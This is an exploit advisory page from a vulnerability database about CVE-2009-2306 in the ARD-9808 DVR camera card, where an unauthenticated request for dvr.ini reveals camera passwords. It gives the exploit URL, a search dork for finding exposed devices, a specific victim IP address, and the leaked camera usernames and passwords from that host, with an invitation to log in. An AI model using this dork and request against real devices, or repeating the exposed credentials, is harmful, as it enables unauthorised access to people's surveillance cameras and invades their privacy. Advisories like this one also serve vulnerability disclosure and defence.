ARD-9808 DVR Card Security Camera Passwords View Bug

2009-07-03 / 2009-07-04
Credit: Septemb0x
Risk: High
Local: No
Remote: Yes
CVE: CVE-2009-2306
CWE: CWE-264


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

------------------------------------------------- SoftWare Name : ARD-9808 DVR Card Security Camera Passwords View Bug ------------------------------------------------- Author : Septemb0x Web Site : www.ozkanbozkurt.com Procuts Site : http://www.armassa.com.tr/shop/category.php?sid=C2B7D6B59AF75CF88011987A080A46FD&id=87789673 Software Download : http://www.armassa.com.tr/shop/down/ard9808.rar = Open To Rar > DVR > Dvr.ini D0rk : "To enable control work: Tools->Internet Options->Security->Custom Level Reset to: Low Or Download" ------------------------------------------------- Exploit: http://[sitename-ipadress]/dvr.ini ------------------------------------------------- Example: http://88.249.248.177/dvr.ini Show; [PASSWORD] administrator= password_a= user= password= enable=0 user0=ozcan = Camera Username password0=3893 = Camera Password right0=223 encode=1 num=2 user1=yurt password1=yurt right1=223 . . . ... Login The Camera :) ------------------------------------------------- Greetz : BHDR, BARCOD3 -------------------------------------------------

References:

http://www.milw0rm.com/exploits/9066


See this note in RAW Version
Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}
Copyright 2024, cxsecurity.com

 

Back to Top